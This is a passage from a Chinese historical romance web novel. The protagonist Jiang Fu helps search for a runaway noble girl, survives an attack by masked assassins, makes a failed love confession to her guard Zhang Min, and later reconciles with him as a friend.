骆沁被星星托着屁股坐上墙头, 翻过方向, 一点点踩落了地。 星星紧随其后, 主仆二人同样兴奋:“公女,咱们往哪边走?” 骆沁“嘘”了下, 拍拍裹平的胸脯,又摸摸梳起的发髻:“在外边叫我郎君。” “知道啦郎君。” 骆沁满意一笑,将从哥哥书房里抄的地图拿出来,往上看了看天色:“戌时月亮在西,我们往东边走是光州。” “好。”- 蒋芙一进门,就见沈听南哭得梨花带雨,里外围了几层人。 “芙芙……” 她顿时感到窒息,躲开沈听南拉拉扯扯的手:“你跟我说说什么情况,怎么就断定公女是在找我的路上失踪的?” 沈听南用帕子擦脸:“公女问我光州路途的第二日, 便称病避学。阿然发现不对去找时, 人已经没了, 也未曾去她的闺中好友处……都怪我,擅自说了不该说的话……” 同样将眼睛哭肿的丫鬟便是阿然。她揽过沈听南的肩膀, 泣道:“娘子莫哭,此事万万怪罪不到娘子身上的,是我们这些下人疏忽……呜呜……” 找不到公女,被郡公知道了, 院子里这些伺候的,院子外那些看守的,统统都要打死偿命,她们快要没活路了,一半哭公女,一半哭自己。 蒋芙回身:“你们派人去光州找了吗?” 骆 岢心神不定:“派了,已有轻骑到了光州,却没找到妹妹踪迹,我……” 蒋芙用力抓他手臂,强迫与他对视:“你怕什么?公子,我问你一句,若公女遭人陷害,你要她还是要声誉?” 骆岢愣了一瞬,坚定道:“我要沁儿。” 蒋芙眼中划过赞赏,松了手:“那公子现在便收拾行李,我们往光州走,一个脚印一个脚印找,信我,一定能把你妹妹找回来。” “……”两人无言对视。 终于,骆岢垂眸颔首,吩咐手下:“去清点十名亲卫,带足银两,一刻之后启程去光州。” 他看向阿然:“父亲那边,一定要瞒住。” 阿然行礼:“公子放心!公子、公子一定要把公女好好带回来啊!” 沈听南擦干眼泪,道:“我亦同去!” 蒋芙看了这个闯祸精一眼,没理她,出门找张闵说光州的事。 无缘无故公女怎会提起光州,说不是她撺掇的,蒋芙死都不信。 她知不知道要是公女出了什么事,就闯大祸了? 还是她觉得背靠文王与如因公主,什么后果都能担待得起? “不是我。” 沈听南拉住蒋芙的衣袖,红着眼摇头,低声道:“我原本只是想她去郡公或公子面前多念叨你的事,让两位大人回心转意。” 蒋芙瞪她,虽气得不行,但声音也放小了:“屁,你当谁傻呢。你就是想让他们以为是我教公女说的那些,替我求情,好留在郡公府,你想让他们更讨厌我,让我离公子远远的!现在好了,公女要是有什么三长两短,看你怎么办!” 沈听南何尝不知她说的这些,她心里亦害怕:“可我只是说了,又没劝她去,我……” 蒋芙掰她的手:“你日日与这般人物周旋,还没看清吗?哪怕光州不是你告诉她的,你是她的伴读,她私逃出去遇到危险,你也一样获罪!” 沈听南眼中有了悔意:“那怎么办?” 蒋芙道:“你不是聪明吗?” 沈听南深深呼吸,牵她的手,十指相扣,任她挣扎也挣扎不开,仿佛系了死结。 “活要见人,死要见尸。没有结果之前,再怎么自乱阵脚都没有用。最差的结果,不过是失去前途罢了,我的命还没人要得去。” 蒋芙扯了下嘴角,放弃挣扎,用和她牵手的姿势下了石阶。 这才是沈听南。 阿然乃骆沁房中侍女,她检验库房物品,大致知道公女带了哪身行头走。 蒋芙提灯前行,将要宵禁,路上很少有人。 沈听南依旧拉着她,如影随形。 张闵跟在她们身后,再后面就是郡公府的亲卫与被卫兵簇拥着的骆岢。 “阿婆,你见过一个女扮男装的小娘子吗?她这么高,十一二岁的模样,长得很好。” 老妇摇头。 蒋芙逮到人便问。 亲卫首领赵江道:“蒋娘子,你这样问没用,先前我们都挨家挨户问过了,还是拿着画像问的,都没问出来。” 蒋芙滞了一瞬,想起与这人还有些渊源。当日郡公府设宴,就是这人觉得张闵与她可疑,将他们抓进牢狱的。 时过境迁,她与骆岢同行,他的态度也随之尊敬起来,可真好笑。 “没问出来便不问了?这就是你们找人的态度?给我离远点。” 说着,有一老伯从山上下来,背了一筐棠梨。他走路走得艰难,上身与地面躬成个直角,老态龙钟至此,蒋芙也没放过。 赵江轻蔑哼了声,这娘子给脸不要脸,甘愿白费力气,不就是为了在公子面前多露脸吗?他还管什么。 沈娘子在,就算她作到天上去,公子也看不上她呀。 “伯伯,你见过两个小孩吗?十一二岁大,男子打扮,长得很好,大概这么高……” 老伯颤巍巍停在那,作回想状。 他比了比肩膀:“这么高?” 蒋芙点头:“对对对!就这么高!” “长得有多好?” 蒋芙“呃”了声,灵机一动指骆岢:“像他那么好!” 老伯浑浊的眼睛看向骆岢,仔细端详过后,一点点回头,往西边指:“我从那头上山时,见到了两位话痨的小郎君。你们找人,怎么往这边找呢?” 蒋芙看向沈听南,后者眼里同样讶异。 光州不是要从洛城往东南方向走吗? 骆岢吩咐手下:“立刻派人去那边搜寻,有任何消息用鹰回信!” “是!” 眼看要宵禁,老伯着急回家,绕开这些人进城。 “且慢!” 蒋芙见骆岢匆匆行文士大礼,又将钱囊倾倒答谢银两。 没看全,视线便被一身黑的张闵挡住。 他抱着剑,面无表情,灯光之下添了几分温柔。 “还去吗?” 他问还去不去光州。 眼下虽有了公女的消息,但人还没见到,蒋芙并未全然放心。 她道:“等见了公女,我跟她道个别再走。” 沈听南拉着她的手忽然一紧:“你们两个,一起去光州吗?” 蒋芙道:“怎么,我们俩分开去?我直接死半路上?” 沈听南被她噎了一下,找了找战斗状态:“芙芙如今便甘心了?家生子也无妨?” 话一出口,附近的几人都纷纷将视线投往蒋芙,都不是什么好眼神。 蒋芙尬在那,先和张闵解释:“那是我跟我娘说的气话。” 张闵很淡然:“嗯。” “你别往心里去!” “什么?” “我当时以为你喜欢沈听南,故意那么跟我娘说,其实我一点不在乎这些的,你也别在乎……” “在乎什么?” 张闵与平常无异瞧她,眸色似宁夜。 蒋芙哑了声。 沈听南接话:“是我失言,张郎君万万不要往心里去。芙芙绝对不是因为家道败落,只能选择郎君才说这些话的,她句句诚心,与郎君两小无猜,我可以作保没有一句假话……我……” 蒋芙黑脸:“沈听南!” “芙芙,你别生我的气……” 蒋芙两手并用拆她的手,终于将死死牵在一起的手解开。 用力瞪了一眼,她扔了灯往暗处走,没人来追她。 就算张闵再迟钝,也能听懂摆在明面上的话。 问题是,沈听南也没有说谎。 她何尝说错了呢,蒋芙就是拿身世戳张闵脊梁骨过,为了撒气就行吗?往往随口说出的话就是最来源于内心深处的话。 她一个现代人,在别人轻视自己身世时自诩思想先进,在心里默不作声讽刺,到了自己能剥削的时候,又灵活地挥起了封建的大刀。 讨厌这个,讨厌那个,结果她又好到了哪去。 ……这两个人,怎么没有一个人来找她给台阶。 他们都讨厌她了? “蒋娘子。” 脚步声淌着长草簌簌走来。 骆岢手里拿了信筒,神情比之前轻松许多,在月下浅笑望她,心情颇为不错。 蒋芙这边还难受着,但见他似如沐春风的谪仙,也生不起气来。 她鼻子里应了一声,道:“找到公女了?” 骆岢弯着眉眼点头:“陛下秋狩,沁儿误打误撞闯了进去,如因公主认出了她,找过去时正带着她玩呢。” “她还小,不懂分辨方向,说去光州,却一路往长安去。” 蒋芙心里踏实下来,也有了几分笑意。 两人上次分别时的隔阂都被秋风吹尽了。 骆岢轻道:“娘子,此番多谢你。你说的对,我的确配不上世人的赞誉。像今天,方才,我是何等的自乱阵脚。若不是娘子……” 蒋芙被他这么一说更加自责。 她究竟犯了多少口业? “我……” 张闵不知从哪来,突然冲到她面前,眸色少有的凌厉。 “芙芙!有危险,跟我走!” 第24章 第 24 章 惨烈告白。 危险? 蒋芙尚未缓过神来, 便脚下失重,被一把带离原来的地方。 张闵提了蒋芙,又去拉愣在原地被刀刃砍了头发的骆岢。 他发冠落了,削剩下的发披在身后, 短了一半。 蒙面持刀者有数十个。郡公府亲卫及时发现, 与之缠斗拖延住了进度。 张闵将蒋芙抱在怀里躲闪, 单手挥剑杀了不少人。滚烫的鲜血淋到蒋芙裙摆, 热意浸到里层转凉。 金属与金属碰撞, 极其刺耳的声音。 蒋芙过去只知道张闵会武功,不知道他这么会杀人。人头滚在不远处的地上, 她看得心惊肉跳,嘴里直泛恶心。 赵江摆平了这些人,活捉了一个,没有松懈。 “公子,速速回城离开这地方!我听见马蹄声,似乎有重骑兵,从长安方向来。” “重骑兵?”骆岢紧皱眉头,对这一切的发生感到莫名,“对方是什么人?为何对我们下手?” 赵江道:“我问过, 他们是跟着鹰过来的, 再不肯多说。属下以为, 可能是长安出事了!” 骆岢惨白着脸:“是沁儿那边?这信是假的?” 赵江道:“公子莫慌,信定然是真的, 外人不会用我们的鹰。也许是有人错认,误以为我们在传递长安的情报,就近派人截杀。” 那头沈听南惊叫一声,张闵放蒋芙落地, 奔过去解决那条落网之鱼。 赵江道:“公子,此地不宜久留,我们快走!” 城门已落锁,赵江走在前面带路,一行人往白氏驻扎在城外的军营处赶。 沈听南伤了脚,于是张闵背上的人换成了她。 蒋芙本就还尴尬着,不知怎么处理张闵的事,沈听南将他们隔开也好,方便她想办法。 在她看来,比起弥补自己之前毒舌的错误,这些突然过来杀人的人不值一提。毕竟张闵在,骆岢也在,有人保护她,有人是真正的靶子,再怎么样遭殃的也轮不到她。 路上,骆岢心事重重。 妹妹的事,加上那批围过来灭口的人。 从小长于高门大户的公子,在这一刻终于意识到自己所处的环境并没有那么太平。阴谋与杀意并存,它们一直遮掩在礼学道义的背后,在暗处窥视着世间运转。 他垂首,捋了下鬓边削短一大截的长发。 蒋芙蓦道:“公子不必伤怀,绑起来就看不见长短了。” 骆岢转头看她。 黑夜之中,蒋芙看不穿他的眼神。她只看到他怜惜摸头发的动作,以为是心疼了。 自己正落单孤独,没忍住开口和别人搭话。 “多谢娘子。娘子不怕吗?” “怕什么?” 一阵阴冷秋风吹过,蒋芙抱了抱手臂。 骆岢将银白披风解下,递到蒋芙面前:“方才不慎染了污秽,娘子若不嫌弃,便用它御寒吧。” 所谓“污秽”便是指血迹,蒋芙自己身上也被淋到,没理由嫌弃送上门的厚衣服。 “多谢公子。”蒋芙记起他似乎把自己话放在心上的事,有意弥补,“不愧是公子,这么有君子风度!” 她用披风把自己捂得只剩脑袋露在外面,自没有骆岢穿着气宇轩昂,还拖在地上很长,仿佛穿了大人衣服。 骆岢见她如此,心情稍微轻松了一点。 他遮掩唇边的笑意,道:“我过去并没有这种……” 过去并没有这种风度。 他将话截住,不肯再说。 险些失言。过去没有这种风度,现在有了,岂不是在告诉蒋芙,她对他来说是特别的吗。 过去他举止谨慎,恐惹祸上身,不给任何女子留有余地。 对于蒋芙,他有种莫名的安心感。 她对待他与其他女子对待他是不同的,所以他也没忍住回应了这份不同。 心里想着杂乱无章的事,洛城驻军营地到了。 赵江献出郡公府的令牌,看守恭敬将他们迎入。 “公子来得巧,白将军也在。” 张闵将沈听南放下,沈听南一瘸一拐蹦到远处的蒋芙身边,对她温柔一笑。 “芙芙冷了?怎么要了公子的衣服来穿?” 蒋芙没说话,心却想,如果天下的人都像沈听南一样脸皮厚就好了。再怎么被她骂,也不改吃屎,时时刻刻到她面前挑衅。 她低头看沈听南的脚,这一看才发现她裙子上豁了好长一道口子,血迹顺着裙摆一路向下,现在还新鲜着。 “你受伤了?疼吗?” 蒋芙眼中充斥担忧,并非作假,而是她对伤口的尊重。哪怕面前是一只动物受伤,她也会关心地捧起来自言自语。 沈听南愣愣盯她,许久没有过这种待遇,她有些受宠若惊。 “不疼。” 转眼的功夫,声音也不夹了,脸上温柔似水的笑意也不见。沈听南面无表情蹿跳到没人的地方,一个人静静站着。 蒋芙闭了闭眼,骂神经病。 她走到骆岢身边,“公子,听南受伤了,能劳烦你替她找个大夫吗?” 骆岢未及回话,他身边的赵江殷勤指使一个小兵:“去,把你们的军医找过来!就说给小娘子看病,让他提前准备一下,带个小童过来帮忙!” 大齐民风,男女虽有别却不那么严苛,但顾及女子声誉,行医者身边常养小童,传授医术,遇女子可用稚童代为接触。 小兵闻话行礼:“是!” 不一会儿,白明旭从帐中提灯出来,身后跟着他的几个年纪相仿的手下。 他们这边的人,骆岢为首与他们交代情况。 蒋芙一向不参与这些,大致听懂他们准备带人去长安接公女便不再听,就地蹲下去闭眼休息。 她眼眶疲惫歇会儿眼睛,没想到晃晃悠悠真的睡了过去。 将要向前倾倒,脸接地时,张闵扶了她一把。 “芙芙,回去?” 蒋芙感受到他的气息,猛地清醒过来。 她睁了会儿眼睛,才答:“嗯。” 张闵要拉她起身,被她反拉住:“你不生我气吗?” 张闵顿了下,疑惑:“什么?” 蒋芙两手拉,将他拉到自己身侧蹲着,小声道:“我说你是家生子的事。” 张闵道:“为什么生气?” 蒋芙尴尬道:“因为我说你是家生子啊……” 张闵抬手蹭了一下她的脸,上面有血滴干成的一个红点。 “我本来就是家生子,你没说错。” “但我那样说是想让你生气的。” “为什么生气?” “你真是!”声音没忍住大了些,她看了看别人,发现没人注意这边,继续说:“我是侮辱你呢,没事谁提你的身世!” 张闵:“你生气?为什么?” 蒋芙没忍住打了他一下:“你怎么这么多为什么!” “我……那时候我以为你喜欢沈听南,不想娶我。我娘让我嫁给你,我怕她提了你拒绝,我很丢脸,我故意那么说的,我也不知道怎么就被沈听南听去了,她那么坏,拿到你面前说……” 张闵淡道:“我现在也不想娶你。” 蒋芙抬头,恍惚间以为自己听错了。 “你说什么?” “我不会娶你。” “你……不喜欢我吗?” 这是蒋芙最近确定的事。他会吃她的醋,会拼命保护她,这不是喜欢吗? 张闵有些不解:“我为何……” “可是我喜欢你。我……” 她脸上通红,眼角湿润起来:“你不喜欢我,还对我那么好?你知不知道我喜欢多想?是……是我多想,你对谁不是这样,你对我娘比对我还好。我娘结交不善之人时,你也站出来阻拦,是我多想,想歪了你和我的关系。” “你说话啊,你说我说错了!” 她到底还是没控制住音量,哭着喊出来了。 骆岢那边的人纷纷回头,惊讶看向他们。 蒋芙这时候也顾及不上脸面了,逼问他:“你说啊,张闵!” “你说你是我的什么……” 张闵此人,一向不动人情世故的脑。他自有一番为人处世的规则,具有十分敏锐的识别好坏人的嗅觉。很多时候,他做出的表情、说出去的话并没有什么特别的含义。 他从小长在情感非常丰富、一点就炸的蒋芙身边,每天都对她的情绪感到疑惑。 起初他有过着急的年岁,想要跟上蒋芙的脚步。但个人条件受限,不懂的地方他问出来,收获的是另一人的不懂。 于是他便放弃了,母亲说拿好剑守在蒋芙身边,这就是他这辈子要做的事。 眼下,蒋芙在悲伤,他便只能看懂悲伤。可她为什么悲伤? 因为他不娶她? 她想要他娶她? 那种事,她直接说,他就会做的,为什么要哭? 他是她的什么? “你的刀剑,兵器。” “……”蒋芙活了算两辈子,人生头一回的告白就这样落幕。 就像媚眼抛给瞎子看。 她往前回想,越想越觉得是她自作多情。 张闵何时说过对她有那种意思? 她自己从小准备嫁给人家,就要他回应对等的心情吗? 张闵又来伸手给她擦眼泪了。 蒋芙往后闪身:“别碰我。” 张闵的手便停在半空,依旧是一脸的不解。 “我们今天已经把话说开了,对不起,之前是我不好,任性,动不动冲你发脾气,误会你,对你有非分之想,我之后不会了。” “你以后,正常给我干活就行。我会按时给你发钱,就这样吧。” 她没脸再呆下去,独身往营帐外走。 白明旭叫住她:“蒋娘子——” 蒋芙垂着眼睛回头,挥手:“再会,白将军。” 虽不合时宜,但白明旭必须说明:“娘子,方才乱战有人逃走,定是记住了你的脸。你最好先别单独行动,不然……不然张郎君寡不敌众,你们二人……” 他说得结结巴巴,像是多顾虑蒋芙心情似的。蒋芙反而被惹怒:“那怎么办?” “娘子不如在营中将就一夜……” 他给手下一个眼神,手下走上前:“蒋娘子这边请。” 蒋芙黑脸跟着走,将在场冷眼旁观的人记恨个遍。 将人目送走,白明旭松了口气。 已然安排得差不多,他道:“明日便启程长安,公子随行,方便将贼人引出。黄力,后派去的人有送鹰回来吗?” “回将军,尚未。” “继续派人去看情况,事有不对立刻回禀。” 第25章 第 25 章 话中长安。 借着睡觉的由头退场, 实际蒋芙并不想睡。 她紧闭双眼,脑海里不停回现刚刚向张闵表白时自己狼狈的样子、旁边人围观她的样子、旁观人眼中她的样子。 她得看着多可怜,喜欢了一个人那么久,换来一句“为何要喜欢”。 帐篷里寂静无声。蒋芙在黑暗中睁开眼睛, 将眼中堆积的泪放出来。 她吸吸鼻子, 回想她为何要喜欢他。 最开始她只把张闵当小孩看, 虽然知道自己未来要嫁给他, 有了培训的心思, 但他就是小孩,她怎么会对一个小孩动心? 他小时候长得又瘦又矮, 时常帮着云姨做蒋家的活计,蒋芙主动找他,他才能跟她玩一会儿。 他干活勤快,又不爱说话揽功,因而每逢他出现,家里下人都很高兴欢迎他,他多做一点,他们就少做一点。 张闵分辨不出大人喜爱里的不纯粹,默不作声地做了许多不属于他的工作。 要不是蒋芙发现, 砍柴烧柴都是他的活。 她不许别人欺负他。 不久张闵得了机缘, 随他师父游学习武, 一去就是五年。 他回来时,已经长成高大少年了。 蒋芙挽着沈听南从廊下走过, 察觉有人盯她,抬头望进他的眼里。 她觉得熟悉,也觉得对方神情淡漠,不好再多看。 傍晚, 久病成疾的云姨将张闵带到蒋芙面前,说着托孤的话。 蒋芙心情沉重,一一点头,再抬头看张闵,他还是那副冷漠的模样。 他们从小一起长大,分开了五年就陌生成这般田地。 不过很快他们就重新熟悉了。 蒋芙坐秋千,不用差使他也会推。 蒋芙出去踏青,从斜坡滑下去,他从天而降般将她及时拉住。 他会背她回家。 她睡不着了就去摇他,他睁眼也不生气。 牵手可以,拥抱可以,她趁他睡着时也悄悄亲过他。 没有沈听南故意接近张闵的事,蒋芙也许及笄后就和张闵成亲了。 那样也就没有金无尽的事,娘不必死。他们成亲以后自立门户,将娘接到他们那边去住。 他们可以有一个幸福平凡的小家。 泪不知不觉浸湿鬓角。 一切幻想消弭于黑暗。 要有“如果”也不能从沈听南那里“如果”,要从最根本的地方。 “如果”张闵喜欢她。 他不喜欢她,后面的假设便也不成立。 蒋芙深吸一口气,她太难过。 这种难过和母亲死时的难过不同。那时的难过和愤怒并发,像阴雨天灰色的海浪。 而目下她的难过,是海水淹没陆地的虚无。 她什么都不剩了。她在这世间孤身一人。 蒋芙后悔地想,她没说喜欢他就好了,起码他还傻陪她身边,她看起来没这么可怜。 她是真的可怜。 他们一定都笑她,瞧不起她。偏偏她连逃走的资格都没有。 快到天亮,蒋芙有意让自己睡过去。 第二天还要赶路,也不知有没有马车给她坐。 没睡多久,她被沈听南叫醒。 “芙芙,起来换件衣裳吧,白将军要带我们去长安呢。” 蒋芙木然起身,似乎是流了一夜泪的缘故,脸上的皮肤紧绷着,视线也有些不清晰了。 她揉眼睛。沈听南将衣服展开,粉白圆领窄袖襕衫,很柔美的一套胡服,看得出是沈听南的审美,她身上穿了一件水蓝色同样款式的。 胡服方便赶路,蒋芙一声不吭地把衣服换上,沈听南又从外面端了早饭进来。 一来一回,两人一句话都没说。换做以往,沈听南早就找话敲打她了。 蒋芙冷笑一声:“你也可怜我了?” 沈听南布菜的手一顿,无奈笑道:“芙芙说哪里的话,我怎么听不懂呢。” 蒋芙道:“你最好真的不懂。” 就算昨晚那件事发生时,沈听南不在现场,之后也一定有人争先恐后跟她说这个热闹。 蒋芙不信她不知道。 勉强吃了点东西垫肚子,蒋芙找人要了个帷帽戴着。队伍启程,只有一辆马车,沈听南掀帘叫她,她便也跟过去坐车。 白明旭等习武之人都在外骑马。蒋芙隔着帷帽的纱帘扫了一眼,没看见张闵的身影。心中坠了一下,想他应是走了。 他本就不必图她的工资。以他的本事,想给谁做手下都能有出息。也就是他,换做其他人,一早就离她而去,怎会耽搁到现在。 坐进马车,蒋芙才发现骆岢也在。 他为啥也在?不是会骑马吗? 蒋芙想起昨晚他回头的那一眼,顿觉不自然。还好她戴着帷帽没摘,狼狈的样子不用被他看去。 他心里一定很瞧不起她了吧。她说过那么多瞧不起他的话,却连让别人喜欢她的能力都没有,可见她之前说的都是不值一提的胡话。 蒋芙索性梗着脖子面朝车窗坐。 马车内除了沈听南不时和骆岢讨论几句书中诗词外,只听到马蹄与车轱辘硌石子的声音。 一行人从白天走到晚上,白明旭下令扎营。 蒋芙实在没忍住:“长安还没到?” 沈听南道:“坐马车要小半个月呢。” “那公子的鹰是会瞬移吗?那些杀人的精兵会瞬移吗?怎么就能从长安一下子追到洛城外杀我们了?” 她没出过远门,还不懂这些,言辞犀利。 骆岢温声道:“蒋娘子稍安勿躁,此行并非到长安城内,大约还有六七日车程。” “先前,娘子所见之鹰是郡公府特殊训练过的猛禽,此类鸟可持之以恒辗转目的地之间,不出一个时辰便能从长安那边的据点接应,返回书信。” “至于那些刺客,大约是观测到了鹰的踪迹,幕后之人担心所谋之事败露,在洛城附近派的杀手,他们并非长安口音。” “你家好端端养那种鹰做什么?郡公不是没在朝中当官吗?你们是把那种鹰私用?用作什么上面?为什么你家在长安有据点?” 隔着一道白纱,蒋芙说话间神情全然看不清楚。 她的切入点太过锋利,骆岢启唇半晌,没答出一个字。 他从未想过这些。有便可用,哪有什么原因。 蒋芙又问:“长安人有口音吗?” 沈听南看了眼骆岢脸色,答道:“是官话。与我们相比语调有些差别。” “你去过长安,长安是什么样的?” 沈听南见蒋芙还愿意说话,稍微宽了宽心。 她包扎完刀伤,白明旭隔着营帐交代了她不在时蒋芙与张闵发生的事。张闵把蒋芙惹成那样,说实在,沈听南心中幸灾乐祸。 她清楚张闵在蒋芙心中的地位。他们两人之间隔了一张诡异的窗户纸,关系融洽时,沈听南总在担惊受怕。 如果窗户纸破得天时地利人和,她在蒋芙心中便只剩下了一个名字,连恨都没必要恨。 结果事情往有利于她的方向发展,窗户纸破成了她最想见到的模样。 窗户那边的人并没有变化,是蒋芙的态度引发了两种不同结果,区别在于“我要你娶我”和“你喜欢我吗”这两句简单的话。蒋芙与张闵不懂,她却看得明确。 前半夜,沈听南十分快意。世间待她无往不利,所有人和事都向蒋芙证明,离开了沈听南是错误的选择,除了她还有谁会对她好? 施舍的好,也是好。区区芙芙,没有拒绝的资格。 后半夜,她从内心深处的扭曲淡出来,像个正常人一样忧虑蒋芙的心情。 可蒋芙就是蒋芙。她不需要任何人为她担心,哪怕遇到天大的事,哭过闹过以后,她总会为自己划一条出路。 沈听南道:“长安很繁华,屋顶上有漂亮的飞檐,街上到处都是贵女鲜艳的裙摆。在棋盘一样的街道上,你能遇到关外金发碧眼的胡人,也能遇到王侯贵族。若是幸运,在皇城附近,或可遇见天子游玩。” 蒋芙随着她的话想象,不由自主神往。 原来长安那么好。 “公子眼中的长安呢?” 骆岢没想到蒋芙还会主动问他话,短暂惊讶过后,他道:“长安有很多人。” 蒋芙哼了声:“哪人不多。” 骆岢道:“是真的……有很多人。” 蒋芙道:“是不是很多的大人和小人啊?” 骆岢愣了一下,将头避开,没有回话。 长安有很多人,巍峨的宫阙,数不尽的规矩,躲不开的眼睛。 按蒋芙的思路来看,的确是很多的大人和小人。 她总是这样敢说。 又不是只有他们两个的时候,沈娘子还在这。 马车停驻扎营。 白明旭送了吃食和御寒的衣物过来,蒋芙将帷帽摘下,从饭盒里取饼吃。沈听南被药童叫去换药,篝火附近只有他们两人。 赶了一天的路,加上早晨蒋芙没吃什么东西,肚子早就空了。所以手中饼凉了,她吃得依然很香。 她后知后觉产生了与昨夜不同的悔。 昨晚不说那些好了。他们认识了这么多年,说断就断,她心里空落落的孤独。 蒋家如今只剩他们两个了,到最后也要分开吗? 白明旭毫不见外坐她身边,拿了张饼吃。 “蒋娘子,卖我个面子,别生张闵的气了。” 蒋芙转头盯他。 女孩子视线投在他身上,大多是娇羞与欣赏的。 白明旭头一次被女子用充满敌意的目光打量,他心里诧异一瞬,又觉好笑。 他笑,蒋芙也笑。 她说:“你哪来的面子?” 第26章 第 26 章 回归原点。 话音落下, 白明旭为之一怔。 “蒋娘子,我没面子?我记得我还救过你一次呢!” 蒋芙丝毫不落下风:“我还帮过你呢。” 一来一回也算扯平。 而且白明旭救她随手可救,她帮他的忙可是用命去折腾的,她不欠他人情。 白明旭笑开, 十分豁达接受了她的说辞。 他指头挠了挠鼻子:“娘子怎么像是生我气了一样?昨日惹娘子生气的人可不是我啊。” 蒋芙不再理人, 用力咬饼吞吃。 白明旭推推她手肘, 又点点她肩膀, 她当作没知觉。 白明旭道:“真不理人?你就不好奇张闵在哪吗?” 蒋芙当然好奇, 但她哪来的脸打听。 “我的事用不着白将军费心。” 像铜墙铁壁似的。 白明旭笑到最后,不便过多打扰, 说了句好好休息就回了他兄弟那边热闹。 夜风凉兮兮刮过脊背,蒋芙围了一件袄子,钻进帐篷。 她用叹息化解乱作一团的思绪。 张闵不是小孩子,他会自己吃饭,找安全的地方容身,根本犯不上用她担心。没了她,他还能活得更好,她不能再这样耽搁自己了。 这是失恋的最后一天,明天她必须走出来, 然后想想没了张闵傍身, 她以后怎么在这个时代活下去。 她还有几十两银子傍身, 没有武力,她能守得住不惹杀身之祸吗? 沈听南换好药, 掀帘用拐杖进了帐篷。 蒋芙被她一窜一跳的身影吸引了注意,虽然很不情愿,但她或许能帮她想办法。 “到了长安以后,你有什么打算吗?” 她话音发得晦涩, 僵硬中夹杂着别扭。 沈听南听到,震惊看她。 这对话太和平,太日常,她亦不甚熟练:“我……我应该会拜见公主,求借车马回洛城。” 蒋芙点头。沈听南和她不一样,她的家好好的,节外生枝以后肯定回家,她还要继续给公女做伴读。 沈听南柔声问:“芙芙有什么打算吗?” “我可能去长安看看,合适的话,我就留在那吧。”蒋芙很不自在,可她境地很惨,除了眼前这个死对头,她没有别的说话的人。 “不回洛城了吗?” “嗯,以后可能会回,但这两年,我想找个没人认识我的地方住着。” 她摆弄了一下背包,里面有母亲的骨灰和六十五两白银。 骆岢说他们的目的地不在长安城内。到分道扬镳时,她便花钱雇车赶路去长安。 “你觉得,我一个人,能做什么?” 沈听南观察着蒋芙尴尬的神色,怎么会有人将情绪这么浅显地表现在脸上,让她都情不自禁跟着为难了。 “女子一人在外自处不易。你独自生活,会有许多觊觎你财色的男人出现搅扰你。即便同为女子,也丝毫不吝啬害你谋利。” 蒋芙低头嗤笑:“世界这么大,竟容不下我活着吗?” 沈听南道:“若是我,可自荐为女子教习师父。芙芙没有一技之长,选择嫁人依附……” “我去死算了!” 怒喊一声,蒋芙飞快解下外衫钻进被窝。 又是半宿没合眼。 她在脑内想了许多种可能。 买房子被骗钱,房东跑路。 买房子被发现是女子独居,丑恶狗男借机骚扰。 买房子被发现是独居,不讲理的邻居们欺负、偷盗。 去茶馆等场所工作,不收女员工。 入职成为女员工被老板骚扰/恶意扣 钱/发现独居尾随回家/被客人欺负。 ——脾气上头和别人吵架挨揍被打死。 “……” 蒋芙从被子里坐起身穿衣服。 张闵没有她能不能好好活下去不重要,她没了他肯定活不成。 临时的营帐外夜深人静,是个适合道歉的好机会。 蒋芙踮脚走出帐篷,将帘子轻轻放下去。 皓月当空,雪白的光落了一整片空地。 蒋芙仰头望了一会儿,心里认同了自己就是可笑的。 可笑怎么了?她宁愿窝囊地活下去,也不想有那些种死法。 她移步往篝火明亮处,试图寻找白明旭的踪迹。 他知道张闵在哪,不然不会那么跟她说。 蒋芙告诉自己,脸皮虽然是肉,但有的时候也可以是铁做的。 身后一阵凉风吹过,蒋芙缩了下脖子,紧接着是熟悉的气息。 “你在找我?” 她脚步一顿,意识到是谁,眼眶里堆积了滚烫的液体。 无声消化了这些,她做好心理准备,转身说正事。 “对不起。” 张闵在月光下静静看她:“为什么?” 蒋芙努力笑一下:“因为……我之前说了奇怪的话。你能当作什么都没听见吗?” 张闵没有一丝犹豫点头:“好。” 蒋芙心里紧绷的弦松了下来。 “那你还能和我一起生活吗?就当普通的朋友,家人,我有点离不开你……” 张闵依然果决:“是夫人的要求,我一直和你一起。” 蒋芙从未如此深刻地感到,眼前的青年是母亲给她留的最宝贵的遗产。 她一下子开阔了,虽然还是难受,但这种浅薄的难受比不上对安全忧患消除的轻松。 “那结束这些事以后,我们还是去光州!不过我们可以去长安玩几天,你想买什么我都会给你买的!” “多谢。” 蒋芙喜悦地擦了擦脸:“太好了。” 她道:“我其实,这几天心里都不太舒服,你能最后抱我一下吗?就一下……” 掩饰的说辞没说完,张闵已将她揽入怀里。 蒋芙放肆自己呼吸他身上令人心安的皂角气味,将头落在他胸口,手臂紧紧扣住他的腰。 从今以后,就是朋友了。 解开了心结,蒋芙像以往一样跟他说话。 “你昨天都去哪了?我一整天都没看见你。” 张闵道:“你生气了,为了不让你更生气。” “所以是去哪了?” “树上。” “你一棵树一棵树跳吗?” 张闵思索一下:“嗯。不能离你太远。” 蒋芙笑了一下:“好像猴子。” 她想起了以前,也是这样,张闵惹了她生气,就会回避到她消气为止。他不知错在哪,道歉也只会让蒋芙更生气,回避是最好的方式。 他完全没懂他们那天的对话算什么。 蒋芙安慰自己,虽然表面上她需要张闵更多。但他显然是脑子有点问题,有她在也能帮他一些事情,她并不是没用的。 “你吃饭了吗?” “吃了。” “吃的什么?” “饼。” “谁给你的?” “将军。” “你跟他关系好像不错?” “没有。” 蒋芙拍拍他肩膀:“他好像挺赏识你的。” 话锋一转,眼睛也眯了起来:“不过你不许跟他干,记住了吗?你只能跟我干。” 张闵眼中清若月下潭水,有一丝淡的笑意:“记住了。” 蒋芙看了眼天色,距离亮天还早。 “我回去了,你也睡一会,明天也要尽全力保护我,知道吗?” “知道。” 蒋芙对他笑,很柔和的一张笑脸,月光下皮肤白而细腻,像很甜的那种小点心。 张闵心口发紧,感到一阵刺痛。 无伤大雅的痛,时常在他身上出现,不消一刻就会恢复往常。 今夜,他似乎发现了一点规律。 他尝试回想蒋芙的脸,刺痛果然出现。从心间蔓延到十指,勾起一股酸苦,片刻恢复正常。 他从衣襟上捡了一根头发,发质柔软,是蒋芙的。 有风吹过,发丝从他指尖飞走,在月光下失去了踪迹- 蒋芙放下心结,终于有了休息的心思,动辄在马车上睡一天,直到恢复精神。 经过城镇,她掀帘朝车外看。 队伍前方,白明旭用手牵着马,经过小贩,不时停下看看东西。 不知看中了什么,他掏钱笑呵呵买了,回头无比精准地盯到蒋芙的眼睛。 